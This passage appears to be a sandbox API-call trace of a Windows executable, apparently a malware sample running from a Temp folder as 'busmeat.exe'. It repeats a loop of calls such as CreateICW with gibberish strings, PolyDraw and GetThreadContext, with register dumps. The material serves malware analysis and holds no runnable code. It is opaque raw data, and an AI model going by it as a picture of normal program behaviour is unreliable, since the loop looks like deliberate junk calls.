[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.268] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.268] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.268] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.268] GetConsoleCP () returned 0x0
	[0066.268] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.268] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.269] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.269] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.269] GetConsoleCP () returned 0x0
	[0066.269] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.269] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.270] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.270] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.270] GetConsoleCP () returned 0x0
	[0066.270] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 